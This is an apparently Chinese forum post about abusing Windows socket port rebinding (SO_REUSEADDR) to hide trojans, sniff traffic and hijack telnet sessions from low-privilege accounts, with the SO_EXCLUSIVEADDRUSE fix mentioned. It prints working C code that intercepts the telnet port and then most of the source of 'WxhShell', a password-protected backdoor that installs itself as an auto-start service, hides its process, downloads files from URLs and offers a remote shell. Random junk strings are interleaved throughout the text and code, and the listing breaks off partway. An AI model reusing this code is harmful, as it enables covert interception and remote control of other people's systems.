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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Y&@ :Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l|fd,  
A+}4 N%kh  
  saddr.sin_family = AF_INET; =|#-Rm^YB  
PA=BNKlH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XM 7zA^-  
 WcJ{}V9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tV,zz;* Oe  
/<2_K4(-{4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0iB 1_)~  
tQ|I$5jNJ  
  这意味着什么?意味着可以进行如下的攻击: mzw*6e2T  
h/k`+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e5/_Vga  
.o8Gi*PEY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1k~jVC2VA  
n$?oZ *;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }rQ*!2Y?  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0x & ^{P~  
'oEmbk8Hg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $+);!?^|:  
ie ,{C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 950b9Vn&  
`^}9= Q'r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B>mQ\Q  
!I Nr  
  #include M@K[i*e  
  #include 5a~1RL  
  #include *o#`lH  
  #include    \wCL)t.cX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ii8jY_  
  int main() P}I*SV0  
  { *,pqpD>  
  WORD wVersionRequested; h`Mf;'P  
  DWORD ret; xVe!  
  WSADATA wsaData; CP'-CQ\Q  
  BOOL val; B::?  
  SOCKADDR_IN saddr; "osYw\unI  
  SOCKADDR_IN scaddr; dWUu3  
  int err; 'YeJGzsJp  
  SOCKET s; OG+$F  
  SOCKET sc; re!CF8 q  
  int caddsize; QHh#O+by#  
  HANDLE mt; ~h/U ;Da  
  DWORD tid;   UGMdWq  
  wVersionRequested = MAKEWORD( 2, 2 ); gkdjH8(2  
  err = WSAStartup( wVersionRequested, &wsaData ); o (zg_!P  
  if ( err != 0 ) { r__M1 !3  
  printf("error!WSAStartup failed!\n"); *+z({S_Nv  
  return -1; P:v y  
  } O+N-x8W{  
  saddr.sin_family = AF_INET; <gy'@w?  
   0d2%CsMS"D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T,fz/5w  
z|2liQrf+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]3C8  
  saddr.sin_port = htons(23); V_pBM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vh8uE  
  { iiTUhO )  
  printf("error!socket failed!\n"); e'Pa@]VaC  
  return -1; Cw}\t!*!  
  } +=_Pl7?  
  val = TRUE; 7`}z7nk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P33E\O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q|l|gY1g)  
  { ^bG!k]U!2  
  printf("error!setsockopt failed!\n"); (G VGoh&  
  return -1; )3AT=b  
  } Z7^}G=*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #O WSy'Qnt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DbN'b(+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q  [{vU  
4=Ey\Px  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dq(x@&J  
  { >g&`g}xZQ  
  ret=GetLastError(); +*V; f,  
  printf("error!bind failed!\n"); X3[!xMij  
  return -1; )R4<* /C:w  
  } Nt8(  
  listen(s,2); D6u>[Z[T  
  while(1) .vO.g/o  
  { Nz;;X\GI  
  caddsize = sizeof(scaddr); n1Jz49[r  
  //接受连接请求 '}u31V"SS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4_<Uk  
  if(sc!=INVALID_SOCKET) * 5n:+Tw(  
  { 3_$eQ`AAA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ub,unU  
  if(mt==NULL) U\ued=H  
  { (4LLTf0  
  printf("Thread Creat Failed!\n"); 6{'6_4;Fv(  
  break; /Hmo!"W`  
  }  B]7jg9/  
  } ~<aB-. d  
  CloseHandle(mt); C)j)j&  
  } y`\Mhnj  
  closesocket(s); .a*$WGb  
  WSACleanup(); 1' m $_  
  return 0; }Kt?0  
  }    o 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) dI-5%Um  
  { ydQS"]\g  
  SOCKET ss = (SOCKET)lpParam; kg@h R}  
  SOCKET sc; F6p1 VFs  
  unsigned char buf[4096]; {%{GZ  
  SOCKADDR_IN saddr; aTsfl  
  long num; Ao T7sy7  
  DWORD val; p( *3U[1  
  DWORD ret; Q8?D}h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +pvJ?"J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Br5Io=/wg  
  saddr.sin_family = AF_INET; ak `)>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gf?^yP ;V  
  saddr.sin_port = htons(23); wVDB?gy%#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $8k_M   
  { keskD  
  printf("error!socket failed!\n"); ;L2bC3  
  return -1; Q=E@i9c9  
  } \aIy68rH,  
  val = 100; AvZ) 1(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wg^cj:&`u  
  { 4-_lf(# i  
  ret = GetLastError(); P-[K*/bPw  
  return -1; sv"mba.J  
  } M%xL K7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #~;8#!X  
  { AF]!wUKxy  
  ret = GetLastError(); S:/RYT"  
  return -1; Ky#B'Bh}`g  
  } ^z^e*<{WEl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I!gj;a?R  
  { 9 w1ONw8v  
  printf("error!socket connect failed!\n"); PU5mz.&0'  
  closesocket(sc); A@(h!Cq  
  closesocket(ss); Hs=N0Sk]j  
  return -1; ; ,jLtl  
  } f<Tz#w&6W  
  while(1) a +yI2s4Z  
  { !m(L0YH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I^(#\vRW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Uk~m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JyC&L6[]Z  
  num = recv(ss,buf,4096,0); )C]&ui~1  
  if(num>0) *Ne&SXg  
  send(sc,buf,num,0); ROS"VV<  
  else if(num==0) g ypq`F  
  break; 7CM03R[P  
  num = recv(sc,buf,4096,0); o!`O i5  
  if(num>0) ><Z3<7K9  
  send(ss,buf,num,0); 8zDH<Gb  
  else if(num==0) {$YD-bqY  
  break; x ;,xd  
  } F LI8r:  
  closesocket(ss); v9m;vWp  
  closesocket(sc); +\GZ(!~  
  return 0 ; WwtE=od  
  } D"4&9"CU  
V9u\;5oL  
86fK= G:>  
========================================================== c[_^bs>k  
C_cs(}wi  
下边附上一个代码,,WXhSHELL ,M.!z@  
qlITQKGG  
========================================================== QM_X2Ho  
r/hyW6e_  
#include "stdafx.h" NLZZMr  
DnsP7k.8T  
#include <stdio.h> YQV?S  
#include <string.h> W^.-C  
#include <windows.h> s%[GQQ-N  
#include <winsock2.h> UXPegK!  
#include <winsvc.h> Kt,yn A  
#include <urlmon.h> 34wM%@D*c  
dP7Vs a+  
#pragma comment (lib, "Ws2_32.lib") ?4[Oh/]R  
#pragma comment (lib, "urlmon.lib") 4UD=Y?zK  
U?mf^'RE  
#define MAX_USER   100 // 最大客户端连接数 ct4 [b|  
#define BUF_SOCK   200 // sock buffer i4zV(  
#define KEY_BUFF   255 // 输入 buffer }?]yxa~  
[~c'|E8Q  
#define REBOOT     0   // 重启 PuZs 5J3  
#define SHUTDOWN   1   // 关机 :q64K?X  
x2;i< |  
#define DEF_PORT   5000 // 监听端口 .um&6Q=2<  
^M"z1B]  
#define REG_LEN     16   // 注册表键长度 30 [#%_* o  
#define SVC_LEN     80   // NT服务名长度 {&=qM!2e  
DwmU fZp  
// 从dll定义API Fiu!!M6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;=+Zw1/g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TT2cOw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k l!?/M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +6hl@Fm(  
EEs-&  
// wxhshell配置信息 WAB0e~e:|Q  
struct WSCFG { 0vuKGjK  
  int ws_port;         // 监听端口 r}0C8(oq  
  char ws_passstr[REG_LEN]; // 口令 gFs/012{  
  int ws_autoins;       // 安装标记, 1=yes 0=no @>fO;*  
  char ws_regname[REG_LEN]; // 注册表键名 h!G^dW.  
  char ws_svcname[REG_LEN]; // 服务名 ^@`e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8HFXxpt[G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -*%!q$:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6UW:l|}4#2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Ue7 ~"=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uR:=V9O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %8bzs?QI  
+an^e'  
}; 3p3WDL7  
{[,Wn:  
// default Wxhshell configuration Q:kVCm/;  
struct WSCFG wscfg={DEF_PORT, i&pJg1  
    "xuhuanlingzhe", >bA$SN  
    1, UiR,^/8ED  
    "Wxhshell", &{E`=4T2  
    "Wxhshell", _jTwiuMS-  
            "WxhShell Service", UV']NH h  
    "Wrsky Windows CmdShell Service", lH)em.#  
    "Please Input Your Password: ", z^rhgs?4  
  1, h;%i/feFg  
  "http://www.wrsky.com/wxhshell.exe", Ln=>@  
  "Wxhshell.exe" <r<Dmn|\a  
    }; j!x<QNNX  
J-tq8   
// 消息定义模块 J 0Hm)*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J1tzHa6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R+{^@M&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G(As%r]  
char *msg_ws_ext="\n\rExit."; '<%Nw-  
char *msg_ws_end="\n\rQuit."; "*w)puD  
char *msg_ws_boot="\n\rReboot..."; j,=*WG  
char *msg_ws_poff="\n\rShutdown..."; U=F-] lD  
char *msg_ws_down="\n\rSave to "; 4|6&59?pnc  
BbrT f"`  
char *msg_ws_err="\n\rErr!"; Y9i9Uc.]  
char *msg_ws_ok="\n\rOK!"; }PI35i1!t  
LG=X)w)W4S  
char ExeFile[MAX_PATH]; \5'O.*pr  
int nUser = 0; `RL,ZoYuu  
HANDLE handles[MAX_USER]; 8 "_Bq  
int OsIsNt; V$dJmKg  
G@!_ZM8h  
SERVICE_STATUS       serviceStatus; =[P%_v``  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~V2ajM1Z&O  
@PQrmn6w  
// 函数声明 5S%C~iB  
int Install(void); ,!6M* |  
int Uninstall(void); R:w %2Y  
int DownloadFile(char *sURL, SOCKET wsh); MSZ!W(7,<  
int Boot(int flag); jCTy:q]  
void HideProc(void); -`!_h[   
int GetOsVer(void); B2~f;zy`  
int Wxhshell(SOCKET wsl); h; 'W :P  
void TalkWithClient(void *cs); <i}q=%W!1  
int CmdShell(SOCKET sock); "xvtqi,R  
int StartFromService(void); m ~u|VgD  
int StartWxhshell(LPSTR lpCmdLine); dD/t_ {h  
PwW^y#96  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T?X^0UdJj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $%g\YdC  
>`7OcjLg  
// 数据结构和表定义 pi`;I*f/  
SERVICE_TABLE_ENTRY DispatchTable[] = H\^VqNK"  
{ rI0)F  
{wscfg.ws_svcname, NTServiceMain}, rIeM+h7Wn  
{NULL, NULL} :E>&s9Yj?  
}; }RcK_w@Jx)  
Hp\Ddx >Jd  
// 自我安装 \!^i;1h0c3  
int Install(void) m[Z6VHn  
{ ;>9OgO  
  char svExeFile[MAX_PATH]; ^^G-kg  
  HKEY key; ?"{QK:`  
  strcpy(svExeFile,ExeFile); PZys  u  
> P<z |8  
// 如果是win9x系统,修改注册表设为自启动 jg[5UTkcs  
if(!OsIsNt) { lPY@{1W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,b4):{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %p0b{P j_p  
  RegCloseKey(key); I"ca+4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bk@)b`WR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !|B3i_n  
  RegCloseKey(key); 1"}B]5!  
  return 0; br0u@G  
    } tM&n3MWQ  
  } \n#]%X5c  
} Hqvc7-c6  
else { QU:EY'2  
pT4qPta,2  
// 如果是NT以上系统,安装为系统服务 NEA_Plt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 79D=d'e A  
if (schSCManager!=0) 3brb*gI_b  
{  bH*@,EE  
  SC_HANDLE schService = CreateService )ZH c$+fU  
  ( &yE1U#J(  
  schSCManager, 16I&7=S,  
  wscfg.ws_svcname, I>{!U$  
  wscfg.ws_svcdisp, {3hqp*xl  
  SERVICE_ALL_ACCESS, %a5t15 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?*[\UC  
  SERVICE_AUTO_START, Oe/6.h?  
  SERVICE_ERROR_NORMAL, %X;7--S%?g  
  svExeFile, Iz#yQ`  
  NULL, oEJaH  
  NULL,  *p=fi  
  NULL, RI-A"cc6A  
  NULL, 7_DG 5nT  
  NULL D!oZ?dGCo6  
  ); ]/Vh{d|I&  
  if (schService!=0) )s7bJjT0=X  
  {  kI%peb?  
  CloseServiceHandle(schService); aD2*.ln><  
  CloseServiceHandle(schSCManager); OU!nN>ln  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f`9JE8  
  strcat(svExeFile,wscfg.ws_svcname); & g:%*>7P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7i8eg*Gl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *C\(wL  
  RegCloseKey(key); =_[2n?9y  
  return 0; u?F (1iN =  
    } O#Z/+\U  
  } .(|+oHg<  
  CloseServiceHandle(schSCManager); BDy5J2<<7l  
} tQrS3Hz'nA  
} .`,F  
/ |GT\X4o  
return 1; KbAR_T1n  
} &y7 0  
L\YKdUL  
// 自我卸载 8h|M!/&2  
int Uninstall(void) `mzb(b E  
{ 2{-!E ^g  
  HKEY key; Vo,[EVL  
4U?<vby  
if(!OsIsNt) { U/Wrh($ #4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -/>9c-F  
  RegDeleteValue(key,wscfg.ws_regname); b6"}"bG  
  RegCloseKey(key); T7 {<arL$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cGNvEM(4AV  
  RegDeleteValue(key,wscfg.ws_regname); 7:>sc]Z  
  RegCloseKey(key); gE\b 982  
  return 0; I5qM.@%zB  
  } 86%%n?"}  
} ~wOTjz  
} ["a"x>X&  
else { ?6f7ld5  
03EV%Vc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |jT2W  
if (schSCManager!=0) x? N.WABr;  
{ C/G]v*MBQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "(,2L,Zh  
  if (schService!=0) f2yq8/J8.  
  { N5? IpE  
  if(DeleteService(schService)!=0) { llq*T"7  
  CloseServiceHandle(schService); gWOt]D&#/  
  CloseServiceHandle(schSCManager); #{$1z;i?f  
  return 0; T~Ly^|Ihz  
  } fG&=Ogy  
  CloseServiceHandle(schService); 5 6DoO'  
  } l$a?A[M$  
  CloseServiceHandle(schSCManager); X4wH/q^  
} (WRMaI72(  
} Fu7M0X'p  
6YmP[%  
return 1; T|;@ T^  
} {~N3D4n^  
Hz@h0+h  
// 从指定url下载文件 fW(/Loh  
int DownloadFile(char *sURL, SOCKET wsh) *KJB>W%@uM  
{ E9+HS  
  HRESULT hr; sWHyL(C@  
char seps[]= "/"; Izn T|l^  
char *token; <sX VW  
char *file; K]/Od  
char myURL[MAX_PATH]; h/2/vBs  
char myFILE[MAX_PATH]; rkDi+D6`q  
u7s"0f`  
strcpy(myURL,sURL); GqLq  gns  
  token=strtok(myURL,seps); {6*#3m Kk  
  while(token!=NULL) +ZA)/  
  { ~$<UE}qp  
    file=token; CqFeF?xd8h  
  token=strtok(NULL,seps); uSN"vpc4D  
  } Nxk(mec"  
$6h*l T<  
GetCurrentDirectory(MAX_PATH,myFILE); + P7o4]:/  
strcat(myFILE, "\\"); 7 [d ?  
strcat(myFILE, file); ~_>cM c  
  send(wsh,myFILE,strlen(myFILE),0); V.6)0fKZW  
send(wsh,"...",3,0); m%QSapV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B=n[)"5fBO  
  if(hr==S_OK) SV.z>p  
return 0; 5u$D/* Eb  
else n2f6 p<8A  
return 1; #HAC*n  
/_t|Dry015  
} $*f?&U]k  
0[T,O,y  
// 系统电源模块 iWA|8$u4gm  
int Boot(int flag) ; s|w{.<:  
{ eC! #CK  
  HANDLE hToken; -*B`]  
  TOKEN_PRIVILEGES tkp; m$wlflt  
]~0}=,H$N  
  if(OsIsNt) { mwC=o5O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bsS:"/?>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]< XR]FHx)  
    tkp.PrivilegeCount = 1; v^N`IJq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~"K ,7sw!Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O o8qyW  
if(flag==REBOOT) { 5Bjgr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;65D  
  return 0; y(W|eBe  
} YKZa$@fA?  
else { 4!.(|h@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J2VTo: In  
  return 0; upy\gkpnGO  
} i7*EbaYzUO  
  } 4J0Rv od_  
  else { LWnR?Qve<  
if(flag==REBOOT) { VT%:zf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k; ZxY"^  
  return 0; 4x;_AN  
} ;*2>ES  
else { S( ^.?z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x,n,Qlb  
  return 0; ~P .I<  
} ?r=jF)C<'  
} r(h`XMsU  
aEt/NwgiQ  
return 1; %NHkDa!  
} 2]cRXJ7h  
NSQp< m  
// win9x进程隐藏模块 O+vS|  
void HideProc(void) ;30nd=  
{ XH}'w9VynR  
PG~$D];  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CW&.NT  
  if ( hKernel != NULL ) 2`G OJ,$  
  { 47K1$3P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tDg}Ys=4K>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )2IH 5  
    FreeLibrary(hKernel); [ic870_  
  } *Hz^K0:8(  
f+_h !j  
return; Z?5V4F:f  
} =O).Lx2J  
457\&  
// 获取操作系统版本 ` Ag{)  
int GetOsVer(void) **3 z;58i  
{ 'Ft0Ry<OL  
  OSVERSIONINFO winfo; vw,rF`LjZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p Z: F:  
  GetVersionEx(&winfo); TS2ZF{m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uu 8,@W+  
  return 1; EJ@p-}I!  
  else 4db(<h  
  return 0; *z*uEcitW  
} c2t=_aAIPQ  
Y_woKc*  
// 客户端句柄模块 G3G#ep~)vC  
int Wxhshell(SOCKET wsl) F8:vDv  
{ G 0%6ch^%  
  SOCKET wsh; %w7u]-tR  
  struct sockaddr_in client; C?Bl{4-P}*  
  DWORD myID; #|&Sc_#4)  
1i[FY?6`dh  
  while(nUser<MAX_USER) YG [;"QR  
{ #9-P%%kQ  
  int nSize=sizeof(client); (0YZZ93  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SN7"7joP<  
  if(wsh==INVALID_SOCKET) return 1; SCvVt  
#txE=e"&o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /+Lfrt  
if(handles[nUser]==0) AV9m_hZ t  
  closesocket(wsh); |KSy`lY-j>  
else 7Mb# O_eh  
  nUser++; ojyIQk+  
  } S"wR%\NIp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .A sv%p[W  
Lzu.)C@Amx  
  return 0; ho##Z*O  
} =  C4  
@=}YTtq  
// 关闭 socket r\qj!   
void CloseIt(SOCKET wsh) X/iT)R]b  
{ EQ'V{PIfj  
closesocket(wsh); ?7<JQh)"e  
nUser--; Zjbc3 M5  
ExitThread(0); a}%#*J)!  
} =|3fs7  
%3NqSiMs  
// 客户端请求句柄 <B9C*M"4%  
void TalkWithClient(void *cs) *s9C!w YMZ  
{ 8!Vl   
<Utnz)  
  SOCKET wsh=(SOCKET)cs; B2-V@06  
  char pwd[SVC_LEN]; Ecd;<$tk  
  char cmd[KEY_BUFF]; GrUCZ<S  
char chr[1]; `c<;DhNO  
int i,j; 9E>xIJ@J2T  
='`/BY(m[  
  while (nUser < MAX_USER) { O8B\{T1  
X!e[GJ  
if(wscfg.ws_passstr) { #Q2Y&2`yGT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J ]nohICe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :<}=e@/~|  
  //ZeroMemory(pwd,KEY_BUFF); >-H {Z{VDd  
      i=0; :x tXQza"-  
  while(i<SVC_LEN) { :yUEkm8  
N5a*7EJv+  
  // 设置超时 bbrXgQ`s+w  
  fd_set FdRead; sBr_a5QQ#  
  struct timeval TimeOut; vI>>\ .ED  
  FD_ZERO(&FdRead); .zi_[  
  FD_SET(wsh,&FdRead);  o4|M0  
  TimeOut.tv_sec=8; !o:f$6EA~C  
  TimeOut.tv_usec=0; SQX:7YF~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RhncBKm*M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ney/[3 A  
8C*c{(4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SHe49!RA'{  
  pwd=chr[0]; ^s|6vd;PD=  
  if(chr[0]==0xd || chr[0]==0xa) { Pi]19boM.  
  pwd=0; xai*CY@cQ  
  break; _f$^%?^  
  } : Zlwp6  
  i++; ;M)QwF1  
    } z6*X%6,8  
N@t|7~  
  // 如果是非法用户,关闭 socket FoN|i"*l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;lHr =e7  
}  R}O_[  
$<}$DH_Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tfj:@Z5&$C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P-?0zF/T$  
8fl`r~bqZ  
while(1) { wne,e's}   
LDPUD'  
  ZeroMemory(cmd,KEY_BUFF); "N`[r iq{  
kqFP)!37  
      // 自动支持客户端 telnet标准   '<"s \,  
  j=0; @7IIM{  
  while(j<KEY_BUFF) { ` @`CG[-9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3kybLOG  
  cmd[j]=chr[0]; )h7<?@wv&  
  if(chr[0]==0xa || chr[0]==0xd) { e)d`pQ6  
  cmd[j]=0; <J) ]mh dm  
  break; '@_d(N1jTw  
  } D]zwl@sRX:  
  j++; nAv#?1cjz  
    } aDU<wxnSvO  
37s0e;aF  
  // 下载文件 ,J+}rPe"sf  
  if(strstr(cmd,"http://")) { 'uBu6G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N sXHO  
  if(DownloadFile(cmd,wsh)) $g> IyT[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aAD^^l#  
  else ]n6#VTz*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]s<[D$ <,  
  } OCe!.`  
  else { fU/>z]K  
)Y"+,$$>Y`  
    switch(cmd[0]) { EV]1ml k$  
  hgPa6Kd  
  // 帮助 s~^5kgPA  
  case '?': { ;r<^a6B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F1*>y  
    break; IxY|>5z  
  } d3\qKL!~  
  // 安装 pM4 :#%V  
  case 'i': { Mk"^?%PxT  
    if(Install()) H?yK~bGQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Lr. 9I.  
    else k\5c|Wq|g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%&LTX0s|  
    break; 9jM}~XvV  
    } "~sW"n(F_  
  // 卸载 >*35C`^  
  case 'r': { (A9Fhun  
    if(Uninstall()) 0X6YdW_2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J')o|5S1N  
    else geru=7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^3rLCa  
    break; m*&]!mM"0G  
    } o#3ly-ht  
  // 显示 wxhshell 所在路径 aTH{'mN  
  case 'p': { +$ 'Zf0U  
    char svExeFile[MAX_PATH]; &u$Q4  
    strcpy(svExeFile,"\n\r"); 'DP1,7  
      strcat(svExeFile,ExeFile); 75T%g!c#  
        send(wsh,svExeFile,strlen(svExeFile),0); (7wc*#}  
    break; 5_GYrR2  
    } M\uiq38  
  // 重启 +%<(E  
  case 'b': { /:m-> T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @0Ic3C[rH6  
    if(Boot(REBOOT)) "g5^_UP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <? q?Mn  
    else { *#,7d"6W5  
    closesocket(wsh); n(1l}TJy  
    ExitThread(0); J!dm-L  
    } D+lAhEN  
    break; .s?L^Z^  
    } #NEE7'&S  
  // 关机 L>jY.d2w=K  
